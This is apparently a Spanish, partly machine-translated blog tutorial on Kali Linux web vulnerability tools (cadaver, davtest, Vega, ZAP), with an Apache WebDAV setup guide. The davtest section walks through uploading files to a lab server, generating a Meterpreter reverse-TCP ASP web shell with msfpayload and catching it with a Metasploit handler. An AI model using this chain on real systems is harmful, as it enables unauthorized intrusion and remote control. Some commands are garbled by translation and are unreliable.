Kali Linux > Web Aplications > Web Vulnerability Scanners

  Kali Linux >  Web Aplications  >  Web Vulnerability Scanners

Escaner de vulnerabilidades Web

cadaver

Operaciones de espacio de nombres (Desplazamiento y copia)
Cadáver soporta la carga de archivos, descarga, visualización en pantalla, las operaciones de espacio de nombres (Desplazamiento y copia), la creación de recogida y eliminación, y las operaciones de bloqueo.

Sintaxis

cadaver [OPTIONS] http://ejemplo.com [ :port] /path


Opciones

-t --tolerant Permitir cd / abierto en la no-WebDAV para la colección habilitada si el uso del servidor proxy o servidor WebDAV tiene problemas de cumplimiento.
-r --rcfile=FILE Leer archivo de script en vez de archivo / .cadaverrc.
-p --proxy=PROXY[ :PORT] Define el proxy para el host PROXY y un puerto opcional del proxy PORT
-V --version Mustra la informacion de la version en pantlla
-h --help Muestra en pantalla el emnsage de ayuda


Ejemplos

Se conecta al servidor myserver.example.com, abriendo la colección raíz.

cadáver http://dav.example.com/

Se conecta al servidor usando el puerto zope.example.com 8022, la apertura de la colección "/ Users / / fred".

cadáver http://zope.example.com:8022/Users/fred/

Se conecta a un servidor llamado secure.example.com mediante SSL.

cadáver https://secure.example.com/

davtest

Escaner de WebDAV habilitado



Tutorial para activar WebDAV en Apache (mod_dav)

 El objetivo de WebDAV es hacer de la World Wide Web un medio legible y editable, en línea con la visión original de Tim Berners-Lee. Este protocolo proporciona funcionalidades para crear, cambiar y mover documentos en un servidor remoto (típicamente un servidor web). Esto se utiliza sobre todo para permitir la edición de los documentos que sirve un servidor web, pero puede también aplicarse a sistemas de almacenamiento generales basados en web, que pueden ser accedidos desde cualquier lugar. La mayoría de los sistemas operativos modernos proporcionan soporte para WebDAV, haciendo que los ficheros de un servidor WebDAV aparezcan como almacenados en un directorio local.

Preparación la instalación

Vamos a ver los pasos (sencillos) para activar WebDAV en Apache. Lo primero que hay que verificar es que el módulo mod_dav está cargado, ya sea de forma estática o dinámica. Normalmente cuando instalamos Apache por gestor de paquetes viene cargado de forma dinámica en el fichero httpd.conf:

Loadmodule dav_module modules/libdav.so

Si por contra compilamos Apache manualmente podemos decidir si compilarlo estáticamente o dinámicamente (como hemos visto antes). Para hacerlo estáticamente añadiremos la directiva correspondiente a la línea de compilación y podremos ver si está cargado con el comando:

# httpd -l

Otra opción es instalar el paquete por yum/apt/pkg si el paquete está disponible en un repositorio.


Configuración

Lo primero que tenemos que hacer es activar el soporte para WebDAV a nivel general de Apache, para ello añadiremos la siguiente línea en el fichero httpd.conf. Podemos restringirlo a nivel de <Directory> o <Location>:

Dav On

Además de esto, debemos especificar la base de datos de bloqueos (Lock Database) en la sección global de la configuración del httpd.conf:

DavLockDB /etc/apache/var/DavLock

Este directorio debe tener permisos de escritura para el usuario y grupo que ejecuta el servidor Apache.

El resultado final sería el siguiente, en este ejemplo activamos WebDAV en una ubicación (/webdav) únicamente para usuarios autenticados (admin) configurados con htpasswd

DavLockDB /usr/local/apache2/var/DavLock
<Location /webdav>
Dav On

AuthType Basic
AuthName DAV
AuthUserFile user.passwd

<LimitExcept GET OPTIONS>
require user admin
</LimitExcept>
</Location>


Estas mismas directivas (a excepción del DavLockDB) podríamos añadirlas dentro de un virtualhost.

Conectar al WebDAV

Muchos sistemas soportan acceso a WebDAV de forma nativa. No obstante, en Linux podéis usar cadaver sobre línea de comandos:

$ cadaver http://dav.test.com/webdav/

Tutorial de davtest para Kali Linux

En un WebDAV habilitado,(protocolo que proporciona funcionalidades para crear, cambiar y mover documentos en un servidor remoto) , hay dos cosas por descubrir rápidamente:

1- Si se puede subir archivos,
2- En caso afirmativo, si se puede ejecutar código

Davtest ayuda a responder a estas preguntas intentando cargar la extensión del archivo de prueba de diferentes tipos (por ejemplo, "Php" o ". Txt"), comprueba si estos archivos han sido enviados y luego se puede ejecutar en el servidor.
También le permite subir archivos de texto sin formato y luego intenta utilizar el comando MOVE para cambiar su nombre en un formato ejecutable.
Suponiendo que usted puede cargar un archivo ejecutable, un archivo de prueba no es bueno para el servidor, entonces DAVTest puede descargar automáticamente un shell completamente funcional. Viene con scripts para PHP, ASP, ASPX, CFM, JSP, CGI, PL, y un archivo que se puede probar en un directorio determinado o dejar subir cualquier backdoor que desee.

DAVTest soporta:

Enviar automáticamente los archivos de exploits
Aleatorización automática de directorio para ayudar a ocultar archivos
Enviar archivos de texto y tratar de MOVE para el nombre del ejecutable
Basic y Digest autorización
Automático de limpieza de los archivos subidos
Enviar un archivo arbitrario


Sintaxis

/usr/bin/davtest.pl -url <url> [OPTIONS]


Opciones


-auth+ autorización (usuario: contraseña).Envíe este nombre de usuario / contraseña para Basic o autorización implícita.
-cleanup borrar todo cargado cuando se hace. Elimina todos los archivos puestos con éxito en el servidor antes de salir
-directory+ sufijo parte del directorio a crear.La parte estática del nombre del directorio que se utilizará cuando se ejecuta MKCOL (en lugar del nombre completo al azar)
-debug+ DAV nivel 1-3 (2 + 3 log req / resp a / tmp / perldav_debug.txt) Activar HTTP: Depuración de DAV, que registra en / tmp / perldav_debug.txt).
-move PUT archivos de texto a continuación, pasar al ejecutable. El intento de poner los archivos con extensión txt y luego pasar cuestión de cambiarlo a un nombre de archivo ejecutable.
-nocreate no crea un directorio
-quiet resumen de impresión única antes de salir
-rand+ usar esto en vez de una cadena aleatoria para nombres de archivo
-sendbd+ puertas traseras de envío:
auto - envía un backdoor apropiado para cualquier ejecutable que se realizó correctamente
ext - (por ejemplo, "php") para que coincida con los archivos en el "backdoors /" directorio. No incluya el punto inicial para la extensión.
-uploadfile+ cargar este archivo (requiere-uploadloc)
-uploadloc+ carga de archivos a esta ubicación / nombre (requiere-uploadfile)
-url+ esta es la dirección URL de la ubicación DAV.

Ejemplo
/usr/bin/davtest.pl-url http://localhost/davdir

Prueba de funcionamiento contra la caja laboratorio:

lab @ localhost:. davtest-1.0 # / davtest.pl-url-directory http://192.168.1.4 demo_dir-rand rAnD0M5Tr1nG_upfileP0C-cleanup
************************************************** ******
Prueba de conexión DAV
ABRIR ÉXITO: ​​http://192.168.1.4
************************************************** ******
NOTA cadena aleatoria para esta sesión: rAnD0M5Tr1nG_upfileP0C
************************************************** ******
Creación del directorio
MKCOL ÉXITO: ​​Creado http://192.168.1.4/demo_dir
************************************************** ******
Envío de archivos de prueba
PUT php ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT asp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT html ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT shtml FALLO
PONER A PRUEBA cgi
PUT txt ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PONER A PRUEBA aspx
PUT pcm ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT jsp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT pl FALLO
PUT JHTML ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
************************************************** ******
Comprobación de la ejecución de la prueba de archivos
EXEC php FALLO

EXEC asp ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
EXEC html ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
EXEC txt ÉXITO: ​​http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
EXEC pcm FALLO
EXEC jsp FALLO
EXEC JHTML FALLO
************************************************** ******
Limpiar
BORRAR ÉXITO: ​​http://192.168.1.4/demo_dir
************************************************** ******
. / Davtest.pl Resumen:
Creado: http://192.168.1.4/demo_dir
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT archivo: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp

Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
Ejecuta: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
Visto: http://192.168.1.4/demo_dir

Como se muestra arriba, vemos que podemos subir php, asp, html, txt, cfm, tipos de archivos JSP y JHTML. Sin embargo, de estos, sólo podemos ejecutar, asp, html y txt.

Esta davtest resumen puede ser una evidencia suficiente para esta vulnerabilidad. En un pentest, sin embargo, puede haber un escenario donde se enfrentan el host de destino está todo bajo llave y sólo un servidor Web se ejecuta en 80/tcp. Entonces, aprovechar esta vulnerabilidad se vuelve significativa y tendremos que ir más allá de esta davtest resumen.

Entonces, ¿qué podemos hacer desde aquí? La tarea obvia es subir un mecanismo de control del servidor de destino. Es decir, subir una cáscara web por ejemplo una cáscara asp vía PUT, a continuación, sólo tiene que llamar y jugar con el servidor.

Podemos generar una carga útil de shell mediante msfpayload.

$msfpayload windows / meterpreter / reverse_tcp lhost = 192.168.1.1 LPORT = 443 R | msfencode asp-t-o aspmetrev443t.asp

continuación, utilice davtest.pl para subirlo.

/usr/bin/davtest.pl-url-directory http://192.168.1.4 demo_dir-uploadfile aspmetrev443t.asp-uploadloc demo_dir

Exito: http://192.168.1.4/demo_dir/aspmetrev443t.asp

Antes de acceder a esta URL, asegúrese de empezar manejador metasploit multiselector para escuchar las conexiones entrantes de esta carga útil meterpreter shell inversa.

msf-pro>
msf-pro> exploit uso / multi / handler
msf exploit (manejador)> set payload windows / meterpreter / reverse_tcp

msf exploit (manejador)> set lhost 192.168.1.1
msf exploit (manejador)> set LPORT 443
msf exploit (manejador)> exploit

[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...


Con todo listo ahora, vaya a su aspmetrev443t.asp shell.

[*] Started inversa controlador en 192.168.1.1:443
[*] A partir del controlador de carga útil ...
[*] Envío etapa (748032 bytes) a 192.168.1.4
[*] Periodo de sesiones Meterpreter 1 abierto (192.168.1.4:443 -> 192.168.1.1:56031) 


vega

Escaner de aplicaciones web, inyección SQL, cross-site scripting (XSS), y otras vulnerabilidades

vega es una plataforma basada en entorno grafico que es util para analizar la seguridad de las aplicaciones WEB. Se puede aplicar inyecciones SQL, crosssite scripting (XXS) y otras fallos de seguridad. Tambien contiene un proxy para la depuracion de nuestras aplicaciones web interactivas. Se puede usar como escaner o como proxy.


Configuracion

Para impedir el escaneo de Vega hacia fuera puedes configurar las exclusiones (p. ej. /logout.php) - son los enlaces que Vega excluirá de su rastreo. Seleccionamos en el menu principal scan Edit target scope



En exclude ponemos la ruta que no queremos que explore y pulsamos add.



Vamos a configurar los proxis para la conexion, en el menu principal Window/preferences/



En la pantalla general tenemos dos opciones:

SOCKS proxy:Aqui se configura un socks proxy para que lo utilice en todas sus conexiones ("").
External HTTP proxy:Aqui se configure un proxy HTTP externo para enviar todas las peticiones DNS ("").

Una ved configurado le damos a apply.





EJEMPLO

Escaner
Vamos a pasar el escaner a una web que la tenemos en red local.

Seleccionamos en el menu principal la opcion scan arriba a la derecha y pulsamos en Start new scan en el menu principal



Introducimos la url a escanear en el campo Scan target y pulsamos en next



Aqui seleccionamos los modulos que queremos que se ejecuten, podemos elegir los modulos de inyeccion SQL,XSS,etc y los módulos de procesamiento de respuesta.
Pulsamos next



Las opciones de autentificacion, proporcionan uno o más valores de cookie.Para analizar con una sesión autenticada, obten y extrae un valor de cookie usando el proxy y pégalo en el campo de entrada de cookies.



En parameters agregamos nombres o parametros para evitar fuzzing durante la exploracion.



Pulsamos finish y dejamos que empiece a trabajar el escaner



Una ves terminado el escaner , vemos que en el panel Scan Alerts nos muestra las vulnerabilidedes segun su riesgo.



Seleccionamos una vulverabilidad y nos mostrara el informe del bug



Resource: muestra el enlace donde se encuentra la vulverabilidad
Request: vemos que es la peticion por metodo GET
Disccusion: una explicacion que hace referencia al metodo
Impact: el impacto que puede causar el fallo
Remediaton: unas sugerencias para arreglar el fallo
References: muestra unos enlaces de referencia sobre el tema

192.168.0.100/codeexec/example3.php/new=%20-->">'>"&pattern=/lamer/&base=Hello%20lamer

zaproxy

Escanear vulnerabilidades web

Vamos a utilizar zaproxy para escanear vulnerabilidades web.

Primero configuramos el proxy del navegador que vamos a usar en nuestro caso el Iceweasel

Preferences/Advanced/Network/Settings

Proxy HTTP:127.0.0.1 puerto 8080
Proxy SSL: 127.0.0.1 puerto 8080
Proxy FTP: 127.0.0.1 puerto 8080
donde dice no Proxy for ponemos localhost, 127.0.0.1:8080 aceptamos y close.(tal ved tengas que reiniciar el navegador)



Ahora pulsamos el icono Manage Add-Ons



Selecionamos todo y le damos a cerrar



En URL to attack ponemos la direccion de la web que vamos a escaner, en mi caso puse una que tengo ejecutada en una maquina virtual en local y pulsamos atacar



Vemos como trabaja el escaner



Podemos ir viendo las vulnerabilidades segun los va encontrando pulsando encima de el en el contenedor de abajo, nos muestra el tipo de error, en que parte del codigo esta ...



Es la hora de generar un informe. Vamos a la pestaña informes y seleccionamos generar informe HTML



Nos pedira donde guardar, ponemos la carpeta deseada y el nombre de fichero, pulsamos guardar. En ese mismo instante se nos habre una pagina en el navegador mostrandonos el informe.



Cuando dejamos de usar zaproxy hay que quitar el PROXY del navegador o no se nos cargara ninguna pagina.

No hay comentarios:

Publicar un comentario